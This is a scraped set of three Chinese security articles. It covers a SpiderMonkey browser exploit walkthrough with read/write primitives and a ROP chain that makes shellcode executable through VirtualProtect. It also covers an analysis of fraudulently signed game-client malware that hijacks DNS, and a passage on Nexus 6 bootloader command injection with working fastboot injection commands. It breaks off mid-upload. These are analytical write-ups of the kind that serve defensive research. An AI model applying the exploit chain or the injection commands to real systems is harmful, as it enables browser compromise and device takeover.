00000246`aba01ba8 00000000`00000000
00000246`aba01bb0 2f2f2f2f`2f2f2f2f
### 构建读写原语
这里来测试一下，
js> a=new Array(1,2,3,4)
[1, 2, 3, 4]
js> b=new Uint8Array(8)
({0:0, 1:0, 2:0, 3:0, 4:0, 5:0, 6:0, 7:0})
js> objectAddress(a)
"0000023E69201B00"
js> objectAddress(b)
"0000023E69201B60"
js> a.blaze()==undefined // 触发漏洞
false
js> a.length
420
可以看出a和b在内存中是相邻的，
算出合适的偏移就能通过a修改b的length和ptr
js> a[11]=16 // offset 11 修改长度
16
js> b.length
16
js> load('int64.js')
js> load('utils.js')
js> a[13]=new Int64('0x23e69201b30').asDouble() // offset 13 修改指针
1.2188969734197e-311
js> b[0]
1
js> obj_to_leak={a:1}
({a:1})
js> a[14]=obj_to_leak // offset 14 泄露对象地址
({a:1})
js> objectAddress(obj_to_leak)
"0000023E6937E430"
js> b.slice(0,8)
({0:48, 1:228, 2:55, 3:105, 4:62, 5:2, 6:254, 7:255})
js> Int64.fromJSValue(b.slice(0, 8)).toString(16)
"0x0000023e6937e430"
js>
看上去没什么问题，后面来调试exp。
## basic.js
有了读写原语，后面需要劫持执行流。使用的方法是找到并覆盖某个object的函数指针，再调用这个函数来触发。
好多层，大概长这样：
js::NativeObject
+0x000 group_
+0x000 value js!js::ObjectGroup
+0x000 clasp_ js!js::Class
+0x010 cOps js!js:ClassOps
+0x000 addProperty
+0x008 delProperty
结果发现addProperty这里是没有写权限的，只能往上找可以写的地方然后把他之后的结构都伪造出来，找到的目标是js::ObjectGroup那里，所以伪造它的整个clasp_结构就好了
。
在获得改写addProperty的能力之后，需要思考如何做stack pivot，接下来就是要找到一个合适的rop gadget，0vercl0k找了一个：
00007fff`b8c4fda3 ff33 push qword ptr [rbx]
[...]
00007fff`b8c4fda8 5c pop rsp
00007fff`b8bf500d 4883c440 add rsp,40h
[...]
00007fff`b8bf5016 c3 ret
注意在调用到addProperty时，rbx是 `JSObject` 的指针。
即对于下面的Target来说：
const Target = new Uint8Array(90);
...
Target.im_falling_and_i_cant_turn_back = 1;
这个gadget把执行流转移到Target的buffer空间中，在此处放置其他gadget，进入下一阶段。
### ROP chain
现在需要一个ROP链，basic.js中实现了一种可能：
* gadget #1， 覆盖addProperty指针（前面说的）
// ** gadget 0 **
// 0:000> u 00007ff7`60ce5d80
// js!js::irregexp::RegExpLookahead::Accept [c:usersovermozilla-centraljssrcirregexpregexpast.cpp @ 40]:
// 00007ff7`60ce5d80 488b02 mov rax,qword ptr [rdx]
// 00007ff7`60ce5d83 4c8bca mov r9,rdx
// 00007ff7`60ce5d86 488bd1 mov rdx,rcx
// 00007ff7`60ce5d89 498bc9 mov rcx,r9
// 00007ff7`60ce5d8c 48ff6040 jmp qword ptr [rax+40h]
// 0:000> ? 00007ff7`60ce5d80 - js
// Evaluate expression: 17325440 = 00000000`01085d80
//
这是开始的第一步， `Target.im_falling_and_i_cant_turn_back =
1`会调用addProperty，此时rdx和rbx中存的是指向Target地址的指针。因为Target的类型是Uint8Array，参考前文中类型结构可知gadget0的作用是跳转到Target的Inline
data处。
* gadget #2， 存放在Target的inline data开始
//
// 0:000> u ntdll+000bfda2 l10
// ntdll!TpSimpleTryPost+0x5aeb2:
// 00007fff`b8c4fda2 f5 cmc
// 00007fff`b8c4fda3 ff33 push qword ptr [rbx] <= 关键语句1
// 00007fff`b8c4fda5 db4889 fisttp dword ptr [rax-77h]
// 00007fff`b8c4fda8 5c pop rsp <= 关键语句2
// 00007fff`b8c4fda9 2470 and al,70h
// 00007fff`b8c4fdab 8b7c2434 mov edi,dword ptr [rsp+34h]
// 00007fff`b8c4fdaf 85ff test edi,edi
// 00007fff`b8c4fdb1 0f884a52faff js ntdll!TpSimpleTryPost+0x111 (00007fff`b8bf5001) <= 跳到下面
//
// 0:000> u 00007fff`b8bf5001
// ntdll!TpSimpleTryPost+0x111:
// 00007fff`b8bf5001 8bc7 mov eax,edi
// 00007fff`b8bf5003 488b5c2468 mov rbx,qword ptr [rsp+68h]
// 00007fff`b8bf5008 488b742478 mov rsi,qword ptr [rsp+78h]
// 00007fff`b8bf500d 4883c440 add rsp,40h
// 00007fff`b8bf5011 415f pop r15
// 00007fff`b8bf5013 415e pop r14
// 00007fff`b8bf5015 5f pop rdi
// 00007fff`b8bf5016 c3 ret <= 关键语句3
此时rbx是指向Target地址的指针，target地址入栈后又被弹出到rsp中，后面rsp增加0x40，又出栈三次，最后ret。所以运行完gadget
#2之后，rip指向Target偏移0x58即Target[0x18]处
* gadget #3， 存放在Target的inline data开始0x18处
//
// 0x140079e55: pop rsp ; ret ; <= 0x18
// BigRopChain address <= 0x20
跳转到BigRopChain处
* gadget #4， BigRopChain
const BigRopChain = [
// 0x1400cc4ec: pop rcx ; ret ; (43 found)
Add(JSBase, 0xcc4ec),
ShellcodeAddress,
// 0x1400731da: pop rdx ; ret ; (20 found)
Add(JSBase, 0x731da),
new Int64(Shellcode.length),
// 0x14056c302: pop r8 ; ret ; (8 found)
Add(JSBase, 0x56c302),
PAGE_EXECUTE_READWRITE,
VirtualProtect,
// 0x1413f1d09: add rsp, 0x10 ; pop r14 ; pop r12 ; pop rbp ; ret ; (1 found)
Add(JSBase, 0x13f1d09),
new Int64('0x1111111111111111'),
new Int64('0x2222222222222222'),
new Int64('0x3333333333333333'),
new Int64('0x4444444444444444'),
ShellcodeAddress,
// 0x1400e26fd: jmp rbp ; (30 found)
Add(JSBase, 0xe26fd)
];
这是最后一个阶段，BigRopChain被分配在另一个大的Uint8Array中。使用VirtualProtect给shellcode区域加上执行权限，之后跳转到shellcode执行。
## 参考链接
<https://developer.mozilla.org/en-US/docs/Mozilla/Developer_guide/Build_Instructions/Windows_Prerequisites>
<https://doar-e.github.io/blog/2018/11/19/introduction-to-spidermonkey-exploitation>
<https://github.com/0vercl0k/blazefox/blob/master/exploits/basic.js> | 社区文章 |
# 【分析报告】偷天换日：2017签名冒用大追踪
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**前述**
2016年8月份，360白名单分析组披露了数字签名冒用的案例，然而并未引起相关数字证书颁发机构的重视。2017年，360白名单分析组监控到大量带有“李鬼”签名的私服和木马在传播。通过伪造知名公司的资料，可以成功在境外证书颁发机构申请相应公司数字证书。这些证书被用来签发恶意程序，而恶意程序由于带有知名公司的“签名”，容易被安全软件放行，严重危害了网络安全。同时，这种冒用行为，使多家知名公司躺枪，对被冒用的公司的名誉带来了恶劣影响。
以下为2017年新增签名冒用事件的时间轴。
时间轴上方三家公司的冒用签名主要被大量传播中的劫持类私服使用，其签发过的样本种类主要如下：
时间轴下方的冒用签名则频繁用于签发其他恶意程序，目前发现5家不同的数字签名，其签发过的样本种类主要如下：
由于360在第一时间发现并查杀带有冒用签名的样本，其他恶意程序虽然换签名更频繁，但由于及时查杀并未大规模流通。而私服类程序虽然受到360的拦截，但依靠不知情用户的主动使用和信任得以在互联网上泛滥
。带冒用签名的私服类程序劫持流量，而且屏蔽安全软件的防护功能及正常网站访问，对网络秩序和用户个人电脑安全危害极大。
**冒用方式**
****
签名冒用的利用方式在之前的披露文章早已分析，这里简单再说明一下。下图是官方正常数字签名与冒用数字签名的样本对比，两者都显示数字签名正常且签名主体均为“上海**软件有限公司”。左图是该公司官方的程序签名，颁发者为国内知名的签名机构“WoSign”。而右图则是冒用的数字签名，其是冒用签名的作者伪造该公司资料在国外签发机构“Go
Daddy”申请的数字证书。
目前为止，发现的冒用签名主要都是通过“Go
Daddy”和“Startfield”两家国外签发机构申请的，今年新增的8种冒用签名如下所示，其中每种签名对应若干张数字证书，且部分证书目前已被颁发者直接吊销：
**样本分析**
****
本文主要分析带冒用签名的劫持类私服程序，由于其他恶意程序传播受限这里暂不分析。
**（一）流程框架** ****
360截获的带冒用签名的劫持类私服程序种类较多且更新频繁，其劫持组件也是经常变化，不过总体的功能框架相对不变。样本的整个运行过程如下所示，部分程序模块在玩家电脑上采用随机文件名，图中的备注名（如[msvcs.dll]）是其对应在私服服务器上的模块名称。
当玩家电脑上的私服程序运行时会释放并启动一个劫持程序的母体splog.exe，该母体负责检测环境并下载安装劫持模块msvcs.dll。母体程序开始运行时会检测ip地址，控制在特定地区不进行传播，如：
一旦开始进行传播，将从某个服务器地址直接下载劫持模块msvcs.dll，并以命令行参数“/install”启动进行安装，由于后面将安装成服务程序，所以安装前检测了特定服务名“ExtendApp”，若服务已存在则删除该服务来准备进行重装：
msvcs.dll模块以
“/install”参数首次进行安装时将自身创建为服务程序，之后并没有立即启动服务程序，而是将服务的启动类型设置为开机自启动，劫持流程将在下次重启开机时自动运行：
一旦服务例程开始运行，将首先循环进行联网判断，保证在网络畅通环境下进行后续的感染：
从前文的流程图看，本模块主要进行两条劫持流程，首先进行的是流程图的上半部分，母体是dnetsup.dll，最终通过安装文件过滤驱动进行劫持：
紧接着进行流程图的下半部分，母体是drvsup.dll，最终通过安装tdi过滤驱动进行劫持：
下面分别对劫持的两条流程线进行分析。
**（二）文件过滤流程劫持DNS**
首先是文件过滤流程，过程基于dotnet（.Net）的运行环境，所以dnetsup.dll先判断并安装dotnet环境：
确保运行环境具备执行dotnet程序的条件时，再进一步判断dotnet环境的执行版本：
判断版本的目的是为了搭配合适的版本模块，然后通过注册通用类库的方式来得到程序运行机会：
一旦注册成功，之后每次用户启动浏览器，浏览器进程都会被“注入”该劫持模块（donetset2/4），从而执行其中的程序代码，通过我们的行为监控工具查看，可以看到IE浏览器的进程树下多出了两个子进程，这两个子进程其实是注入其中的劫持模块donetset2.dll创建的（见下文）：
Donetset2.dll是一个C#编写的.Net程序，更具体地说其实是一个.Net的COM类库组件，如下可以看出该组件将自身注册成一个shell图标覆盖类库，所以每次浏览器运行都能顺其自然地被引入执行：
当该组件的工作例程开始运行时，就进行文件过滤驱动的安装或启动，并下载一份hosts列表保存到dida.mid这个文件来进行本地DNS劫持，上文看到浏览器的进程树即是下载完劫持列表文件后调用cmd的ipconfig命令进行DNS缓存刷新：
下载的列表格式与系统hosts文件一致，主要用于劫持安全软件和竞争对手的DNS请求：
当然，劫持的关键还在于文件过滤驱动，本模块安装的驱动程序是从资源里释放的，并且根据int类型指针的大小来判断使用x86还是x64的文件过滤驱动：
另外，文件过滤驱动的安装和启动操作都是通过导入从本模块释放出来的dHelperKit.dll导出函数，该模块相对应地分为x86版本和x64版本，负责和文件过滤驱动的通信操作：
先看一下驱动程序，发现具有一个国外公司EldoS的数字签名，并且是由VeriSign机构签发的非冒用签名，可以确认是官方的程序：
从版本信息上可以看出该文件是出自EldoS公司的一款名为“CallbackFiler“的产品，版本号为3.1.85，该产品实际上是专门为开发人员提供文件系统过滤功能的程序库：
既然是第三方驱动程序库，那么与其通信的操作模块dHelperKit.dll就显得尤其重要，负责控制完成劫持的功能。该模块的导出函数“kitStartCbfltfs”通过“CallbackFiler“提供的API来操作文件过滤驱动cbfltfs3.sys，借助其对文件系统的的过滤功能来劫持DNS。具体实现的方式是添加一个文件名（路径）重解析的回调函数，设置请求的目标文件名（路径）为本地hosts文件的路径，在系统进程访问到该文件路径时重定向到一个新的控制路径（dida.mid文件的路径）：
回调函数中，会进一步过滤请求访问hosts文件的进程，只有当请求进程为svchost时才进行文件名（路径）重定向操作，因为包括DNS查询的本地网络服务其所属进程为svchost，判断该进程一方面已经足够达到通过hosts文件重定向劫持DNS的目的，另一方面也可以让用户正常访问hosts文件，难以发现hosts文件被重定向：
设置完重定向回调后，过滤驱动也正常工作，待重新下载dida.mid列表文件后调用命令刷新DNS缓存，此时负责网络服务的进程svchost会将新的hosts列表刷入本地DNS缓存，安全软件或竞争私服等程序在联网时默认先查询DNS缓存，发现缓存列表里存在相关记录项就会导致该域名解析被重定向，从而实现屏蔽或劫持网络的作用。此时检查系统的hosts文件将看不到任何异常，然而通过ping命令便能验证出DNS已被劫持：
由于目标域名劫持后重定向到一个本机回环地址（127.0.0.1），所以屏蔽了对劫持域名（ip***360safe.com）的网络请求，此目的为干扰安全软件的正常联网。当然要进行劫持的域名都是由云端分配控制的，劫持列表可以随时更换，例如下面是一组被劫持的知名游戏网站，均被劫持到某一固定的ip地址（139.***.246.167）：
**（三）TDI过滤流程劫持网络流量**
接下来分析tdi过滤流程，最终实现通过驱动劫持用户的网络流量。母体drvsup.dll通过IsWow64Process判断系统环境，选择下载x64或者x86版本的tdi驱动到本地保存为mstd32.sys：
下载后按照正常启动服务的方式直接启动该驱动程序：
一旦驱动加载起来，后面的流程全靠该驱动独立完成，无需与应用层程序进行其他交互。驱动每次启动时重新下载一份劫持列表tdipaddr.dll到内存，并将其解析到链表中方便后面进行劫持过滤：
下载的列表经常发生变化，并且同时存在多种不同的传播版本，对不同类型的知名网址进行劫持，如下是截获的其中一个版本，其中包含大量知名的游戏公司官网，如盛大游戏和冰川网络，均被劫持到某搜索引擎的一个服务器ip（14.***38）：
后面过滤IO请求时，将以该列表去匹配当前网络访问的host：
满足过滤规则的所有网络IO请求会被标记，待相应的请求响应后对接收到的数据进行修改，添加301重定向响应头或者嵌入html框架来实现劫持，最后将修改后的内容返回给请求联网的应用层程序（如浏览器）处理：
例如我们通过浏览器正常访问盛大游戏官网时如下：
而驱动劫持后访问盛大游戏官网则会发生跳转，将其劫持到某搜索引擎（或其他地址，根据云端列表来控制），阻碍用户正常访问游戏网站。从360浏览器的抓包工具可以看出劫持方式是嵌入一个指向搜索引擎地址的html框架：
对劫持过程进行双机调试，也能观察到访问盛大游戏官网时驱动程序劫持的过滤过程：
最后发现驱动程序还注册了一个关机回调，在系统关机时改变驱动文件名，重写驱动文件来增加自身的隐蔽性。驱动的路径如下图所示，可以看到文件名为8位随机字母：
重写驱动文件后将新的驱动路径注册成一个开机自启动的服务，以保证在用户电脑上的劫持活动得以延续。
**传播情况**
****
冒用签名的恶意程序在搜索引擎中的排名非常靠前，吸引了很多用户去下载，例如通过一些关键字：
该网站打开之后可以直接下载：
根据360大数据监测统计，今年新增冒用样本数量约400个，感染量约35万。下图所示是2017年8月份之前的受害用户地域分布图，其中沿海一带以浙江、辽宁和广东传播最多，内陆则以四川和湖南居多
。
除了以上“梁山传奇”还有上万款传播相关样本的私服网站，共同形成了一条庞大的灰色产业链，这里列出部分：
**查杀**
****
自从签名冒用的恶意程序出现以来，我们持续监测其发展的动态，并率先进行查杀。本次带有冒用签名的恶意模块通过私服程序大量传播，受害用户群主要为传奇游戏玩家，希望广大的用户提高安全意识，尽量通过正规的官方渠道下载游戏，避免损失。同时，希望相关的数字证书签发机构严格审查企业资质，避免此类情况再次发生。 | 社区文章 |
# 【漏洞分析】如何通过内核命令注入绕过Nexus 6的安全启动模式（含演示视频）
|
##### 译文声明
本文是翻译文章，文章来源：alephsecurity.com
原文地址：<https://alephsecurity.com/2017/05/23/nexus6-initroot/>
译文仅供参考，具体内容表达以及含义原文为准。
翻译：[興趣使然的小胃](http://bobao.360.cn/member/contribute?uid=2819002922)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
在2017年5月的[Android安全公告](https://source.android.com/security/bulletin/2017-05-01#eop-in-motorola-bootloader)中，Google发布了一个安全补丁，修复了我们之前在Nexus
6的bootloader中发现的一个严重的漏洞（[CVE-2016-10277](https://alephsecurity.com/vulns/aleph-2017011)）。
利用这个漏洞，物理攻击者或者某个已拥有（bootloader锁定下）目标设备ADB/fastboot
USB访问权限的用户（比如恶意软件可以等待具备ADB权限的开发者设备通过USB接口插入主机）能够打破设备的安全（或已验证的）启动机制，通过加载一个精心构造的恶意initramfs镜像，攻击者可以获得目标设备的root权限，完全控制设备的用户空间（在这个空间可以实施更多攻击）。此外，漏洞利用过程并不会导致设备恢复到出厂设置，因此用户数据会保持不变（并且仍然处于加密状态）。需要注意的是，我们所演示的并不是一个不受任何条件限制的攻击过程。
在漏洞研究过程中，我们同时也[发现](https://alephsecurity.com/2017/05/23/nexus6-initroot/#anecdote-a-linux-kernel-out-of-bounds-write-cve-2017-1000363)了一个已有18年历史的Linux内核漏洞（漏洞不会对Nexus
6造成影响，因此可能不会影响任何Android设备）：[CVE-2017-1000363](https://alephsecurity.com/vulns/aleph-2017023)。
在本文开始前，我们可以先看一下PoC演示视频：
**一、前言**
2017年1月，我们[披露](https://alephsecurity.com/2017/01/05/attacking-android-custom-bootmodes/)了一个高危漏洞（[CVE-2016-8467](https://alephsecurity.com/vulns/aleph-2016002)），这个漏洞影响Nexus
6/6P，允许攻击者改变设备的启动模式，从而能够访问设备的隐藏USB接口。漏洞通过fastboot命令触发（比如fastboot oem config
bootmode bp-tools），该命令会导致bootloader改变内核命令行中的androidboot.mode参数。Google通过加固bootloader修复了这个漏洞，锁定后的bootloader再也不支持自定义启动模式启动。
**二、漏洞分析：内核命令注入漏洞（CVE-2016-10277）**
Nexus 6的bootloader中包含许多参数，其中某些参数可以通过fastboot接口进行控制，即使bootloader被锁定也可以：
$ fastboot oem config
[...]
(bootloader) <UTAG name="battery" protected="false">
(bootloader) <value>
(bootloader) </value>
(bootloader) <description>
(bootloader) Battery detection control
(bootloader) ("meter_lock" or "no_eprom")
(bootloader) </description>
(bootloader) </UTAG>
(bootloader) <UTAG name="bootmode" protected="false">
(bootloader) <value>
(bootloader) </value>
(bootloader) <description>
(bootloader) To force certain bootmode
(bootloader) (valid values are "fastboot", "factory", "bp-tools", "q
(bootloader) com", and "on-device-diag")
(bootloader) </description>
(bootloader) </UTAG>
(bootloader) <UTAG name="carrier" protected="false">
(bootloader) <value>
(bootloader) </value>
(bootloader) <description>
(bootloader) Carrier IDs, see http://goo.gl/lojLh3
(bootloader) </description>
(bootloader) </UTAG>
(bootloader) <UTAG name="console" type="str" protected="false">
(bootloader) <value>
(bootloader) </value>
(bootloader) <description>
(bootloader) Config kernel console log
(bootloader) enable|true - enable with default settings
(bootloader) disable|false - disable
(bootloader) <config string> - enable with customized settings
(bootloader) (e.g.: "ttyHSL0", "ttyHSL0,230400,n8")
(bootloader) </description>
(bootloader) </UTAG>
(bootloader) <UTAG name="fsg-id" type="str" protected="false">
(bootloader) <value>
(bootloader) </value>
(bootloader) <description>
(bootloader) FSG IDs, see http://goo.gl/gPmhU
(bootloader) </description>
(bootloader) </UTAG>
OKAY [ 0.048s]
finished. total time: 0.048s
fsg-id、carrier以及console这三个参数可以包含任意值（虽然参数的大小受到限制），这三个参数最终会被传递到内核命令行。我们可以使用以下命令来验证这个漏洞：
$ fastboot oem config console foo
$ fastboot oem config fsg-id bar
$ fastboot oem config carrier baz
然后检查内核命令行：
shamu:/ $ dmesg | grep command
[ 0.000000] Kernel command line: console=foo,115200,n8 earlyprintk
androidboot.console=foo androidboot.hardware=shamu msm_rtb.filter=0x37
ehci-hcd.park=3 utags.blkdev=/dev/block/platform/msm_sdcc.1/by-name/utags
utags.backup=/dev/block/platform/msm_sdcc.1/by-name/utagsBackup coherent_pool=8M
vmalloc=300M buildvariant=user androidboot.bootdevice=msm_sdcc.1 androidboot.serialno=ZX1G427V97
androidboot.baseband=mdm androidboot.version-baseband=D4.01-9625-05.45+FSG-9625-02.117
androidboot.mode=normal androidboot.device=shamu androidboot.hwrev=0x83A0
androidboot.radio=0x7 androidboot.powerup_reason=0x00004000 androidboot.bootreason=reboot
androidboot.write_protect=0 restart.download_mode=0 androidboot.fsg-id=bar
androidboot.secure_hardware=1 androidboot.cid=0xDE androidboot.wifimacaddr=F8:CF:C5:9F:8F:EB
androidboot.btmacaddr=F8:CF:C5:9F:8F:EA mdss_mdp.panel=1:dsi:0:qcom,mdss_dsi_mot_smd_596_QHD_dualmipi0_cmd_v0
androidboot.bootloader=moto-apq8084-72.02 androidboot.carrier=baz androidboot.hard<
现在，如果bootloader没有对这些参数进行过滤处理，那么我们就能传递任意内核内核命令行参数：
$ fastboot oem config console "a androidboot.foo=0 "
$ fastboot oem config fsg-id "a androidboot.bar=1"
$ fastboot oem config carrier "a androidboot.baz=2"
结果的确如此：
shamu:/ $ dmesg | grep command
[ 0.000000] Kernel command line: console=a androidboot.foo=0 ,115200,n8 earlyprintk
androidboot.console=a androidboot.foo=0 androidboot.hardware=shamu msm_rtb.filter=0x37
ehci-hcd.park=3 utags.blkdev=/dev/block/platform/msm_sdcc.1/by-name/utags
utags.backup=/dev/block/platform/msm_sdcc.1/by-name/utagsBackup coherent_pool=8M
vmalloc=300M buildvariant=user androidboot.bootdevice=msm_sdcc.1 androidboot.serialno=ZX1G427V97
androidboot.baseband=mdm androidboot.version-baseband=D4.01-9625-05.45+FSG-9625-02.117
androidboot.mode=normal androidboot.device=shamu androidboot.hwrev=0x83A0
androidboot.radio=0x7 androidboot.powerup_reason=0x00004000 androidboot.bootreason=reboot
androidboot.write_protect=0 restart.download_mode=0 androidboot.fsg-id=a androidboot.bar=1
androidboot.secure_hardware=1 androidboot.cid=0xDE androidboot.wifimacaddr=F8:CF:C5:9F:8F:EB
androidboot.btmacaddr=F8:CF:C5:9F:8F:EA mdss_mdp.panel=1:dsi:0:qcom,mdss_dsi_mot_smd_596_QHD_dualmipi0_cmd_v0
androidboot.bootloader=moto-apq8084-72.02 androidboot.carrier=a androidboot.baz=2 androidboot.hard<
正如我们所料，我们可以将ro.boot属性设为任意值：
shamu:/ $ getprop ro.boot.foo
0
shamu:/ $ getprop ro.boot.bar
1
shamu:/ $ getprop ro.boot.baz
2
shamu:/ $
**三、绕过CVE-2016-8467的补丁**
到目前为止，我们可以轻易绕过[CVE-2016-8467](https://alephsecurity.com/vulns/aleph-2016002)的补丁：
$ fastboot oem config console "a androidboot.mode=bp-tools "
[...]
(bootloader) <UTAG name="conolse" type="str" protected="false">
(bootloader) <value>
(bootloader) a androidboot.mode=bp-tools
(bootloader) </value>
(bootloader) <description>
(bootloader) Carrier IDs, see http://goo.gl/lojLh3
(bootloader) </description>
(bootloader) </UTAG>
[...]
结果正如我们所料：
shamu:/ $ getprop ro.boot.mode
bp-tools
shamu:/ $
需要注意的是，我们必须更改console参数，这样才能击败真正的androidboot.mode参数（该参数由bootloader插入，负责处理init进程的内核命令行的代码位于“core/init/init.cpp!import_kernel_nv“中）。
**四、一个全新的攻击面**
在整个操作系统中，有多个实体使用了内核命令行，包括：
1、内核代码中的__setup宏。
2、内核代码中的early_param宏。
3、内核模块代码中的module_param宏。
4、内核模块代码中的core_param宏。
5、用户空间中的某些实体（比如init，如上文所述）。
这些宏即使没有被引用过上百次，也被使用过很多次，我们可以控制这些宏，对任何包含这些宏的系统功能造成影响。接下来，让我们看看如何通过控制单个变量，击败设备的安全启动模式。
**五、Nexus6的安全启动模式**
高通MSM设备（比如摩托罗拉Nexus 6）的启动过程如下所示（当然经过了相当多的精简）：
设备通电后，ROM中的PBL就会开始工作，然后它会将经过数字签名的SBL加载到内存中，并验证SBL的真实性。SBL会加载经过数字签名的ABOOT（ABOOT实现了fastboot接口），并也会验证ABOOT的真实性。SBL和ABOOT的签名证书以存储在硬件中的根证书为基础。
ABOOT随后会验证boot或者recovery镜像的真实性，从boot或recovery镜像的固定的物理地址（该地址在Nexus
6中为0x8000以及0x2000000）中加载Linux内核以及initramfs。initramfs是一个cpio格式（即经过gzip压缩）的归档文件，会在Linux内核初始化过程中被加载到rootfs中（rootfs是挂载到/目录的RAM文件系统）。initramfs包含init程序，该程序是用户空间的第一个进程。
bootloader（ABOOT）为Linux内核准备内核命令以及initramfs参数，Linux内核位于设备树二进制大对象（Device Tree
Blob，DTB）中，其物理地址为0x1e00000。我们可以将内存中的DTB导出到硬盘中，使用fdtdump解析这块数据以验证这一点：
[...]
linux,initrd-end = <0x02172814>;
linux,initrd-start = <0x02000000>;
bootargs = "console=ttyHSL0,115200,n8 earlyprintk androidboot.console=ttyHSL0 androidboot.hardware=shamu msm_rtb.filter=0x37 ehci-hcd.park=3
utags.blkdev=/dev/block/platform/msm_sdcc.1/by-name/utags utags.backup=/dev/block/platform/msm_sdcc.1/by-name/utagsBackup coherent_pool=8M
vmalloc=300M buildvariant=userdebug androidboot.bootdevice=msm_sdcc.1 androidboot.serialno=ZX1G427V97 androidboot.baseband=mdm
[...]
之后bootloader会将执行权交给Linux内核。
**六、Linux内核初始化：从ABOOT到init**
Linux内核中，early_init_dt_scan_chosen函数负责解析由DTB中的ABOOT传递过来的参数。在arm内核中，该函数最终会调用如下函数：
void __init early_init_dt_setup_initrd_arch(unsigned long start, unsigned long end)
{
phys_initrd_start = start;
phys_initrd_size = end - start;
}
phys_initrd_start定位物理内存地址，这片物理内存会通过如下代码映射到虚拟地址空间中：
void __init arm_memblock_init(struct meminfo *mi, struct machine_desc *mdesc)
{
[...]
if (phys_initrd_size) {
memblock_reserve(phys_initrd_start, phys_initrd_size);
/* Now convert initrd to virtual addresses */
initrd_start = __phys_to_virt(phys_initrd_start);
initrd_end = initrd_start + phys_initrd_size;
}
[...]
}
接下来，initramfs会被解压到rootfs中：
static int __init populate_initramfs(void)
{
[...]
if (initrd_start) {
#ifdef CONFIG_BLK_DEV_RAM
int fd;
err = unpack_to_initramfs((char *)initrd_start,
initrd_end - initrd_start);
if (!err) {
free_initrd();
goto done;
} else {
clean_initramfs();
unpack_to_initramfs(__initramfs_start, __initramfs_size);
}
[...]
}
return 0;
}
initramfs_initcall(populate_initramfs);
最后kernel_init函数会被调用，该函数会执行用户空间中的第一个进程：/init。
static int __ref kernel_init(void *unused)
{
[...]
if (ramdisk_execute_command) {
if (!run_init_process(ramdisk_execute_command))
return 0;
pr_err("Failed to execute %sn", ramdisk_execute_command);
}
[...]
}
注：ramdisk_execute_command的默认值为/init。
**七、用户空间的初始化以及dm-verity**
init负责带动整个用户空间。该程序的职责之一就是设置SELinux（负责加载策略等）。一旦策略加载完毕，init会位于kernel域中，但SELinux初始化完成后不久，该进程就会转移到init域中。请注意，对于发布版系统而言，即便内核没有使用强制（enforcing）模式下的SELinux进行加载（比如，我们可以在内核命令行中使用androidboot.selinux=permissive参数实现这一点），init还是会重新设置enforce模式：
static void selinux_initialize(bool in_kernel_domain) {
[...]
if (in_kernel_domain) {
INFO("Loading SELinux policy...n");
[...]
bool kernel_enforcing = (security_getenforce() == 1);
bool is_enforcing = selinux_is_enforcing();
if (kernel_enforcing != is_enforcing) {
if (security_setenforce(is_enforcing)) {
ERROR("security_setenforce(%s) failed: %sn",
is_enforcing ? "true" : "false", strerror(errno));
security_failure();
}
}
[...]
}
}
注：发布版系统中，selinux_is_enforce()始终返回true。
init也会触发分区挂载动作。dm-verity稍后会使用存放在initramfs目录（/verity_key）中的某个公钥来验证相关分区（比如system分区）的完整性，这样一来，某个不受信任的initramfs就意味着某个不受信任的system分区。
那么，已知内核命令行存在注入漏洞，攻击者如何利用这个漏洞干扰上述的启动过程呢？
**八、失败的尝试：控制ramdisk_execute_command**
事实证明，有一个内核命令行参数（rdinit）会覆盖/init，也就是ramdisk_execute_command的默认值：
static int __init rdinit_setup(char *str)
{
unsigned int i;
ramdisk_execute_command = str;
/* See "auto" comment in init_setup */
for (i = 1; i < MAX_INIT_ARGS; i++)
argv_init[i] = NULL;
return 1;
}
__setup("rdinit=", rdinit_setup);
看起来很有希望，通过利用这个漏洞，我们可以让内核执行用户空间的任意进程，类似命令为：fastboot oem config carrier "a
rdinit=/sbin/foo"。然而，我们无法有效控制rdinit，最主要的问题就是Nexus 6的initramfs只包含数量非常有限的几个程序：
$ ls -la sbin
adbd healthd slideshow ueventd watchdogd
即便其中某个程序（比如
adbd）具备挖掘的潜力，此时用户空间仍然没有被初始化，因此这些程序可能会因为依赖条件未被满足而无法启动。前面我们分析过，漏洞的攻击面比较广，因此我们决定继续搜寻下一个可以控制的命令行参数，不去理会上述这些程序是否真的可以用于漏洞利用过程。
**九、控制initramfs的物理加载地址**
非常有趣的是，对于arm而言，我们认识到我们有可能通过内核命令行参数initrd来控制某个物理地址，而恰好内核会从这个物理地址加载initramfs！
arch/arm/mm/init.c中的代码如下：
static int __init early_initrd(char *p)
{
unsigned long start, size;
char *endp;
start = memparse(p, &endp);
if (*endp == ',') {
size = memparse(endp + 1, NULL);
phys_initrd_start = start;
phys_initrd_size = size;
}
return 0;
}
early_param("initrd", early_initrd);
这将覆盖DTB中的ABOOT所提供的默认值。我们使用一个随机值来测试，希望该值会导致内核崩溃：
$ fastboot oem config fsg-id "a initrd=0x33333333,1024"
[...]
(bootloader) <UTAG name="fsg-id" type="str" protected="false">
(bootloader) <value>
(bootloader) a initrd=0x33333333,1024
(bootloader) </value>
(bootloader) <description>
(bootloader) FSG IDs, see http://goo.gl/gPmhU
(bootloader) </description>
(bootloader) </UTAG>
OKAY [ 0.016s]
finished. total time: 0.016s
$ fastboot continue
内核的确崩溃了！
这类攻击的原理类似于在内存损坏漏洞中所使用的控制指令指针（IP寄存器，IP代表Instruction
Point）或者程序计数器（PC寄存器，PC代表Program
Counter）的原理，因此当前最紧要的第一步，就是利用fastboot，将经过我们修改的initramfs存档加载到设备内存中。
需要注意的是，Linux内核不会重新检查initramfs的真实性，它依赖bootloader来完成这一任务，因此如果我们设法将修改过的initramfs存放到可控的phys_initrd_start物理地址上，内核的确会将其填充到rootfs中。
**十、通过USB将任意数据载入内存中**
ABOOT的fastboot提供了一个使用USB进行下载的机制，该机制支持固件刷写（flashing）功能。在锁定的bootloader中，下载功能依然可以使用，因此攻击者可以使用这个功能将被修改过的initramfs载入设备。我们唯一的希望就是，在initramfs被填充到rootfs之前，bootloader和内核不会将这些数据填充为0或者覆盖这些数据。为了验证这一点，我们做了如下实验。首先，我们安装了自定义的msm-shamu内核，该内核具备LKM（Loadable-Kernel
Modules，可加载内核模块）功能。然后，我们通过fastboot将一大段数据（0123456789ABCDEFALEFALEFALEF…）上传到设备中：
$ fastboot flash aleph payload.bin
[...]
target reported max download size of 536870912 bytes
sending 'aleph' (524288 KB)...
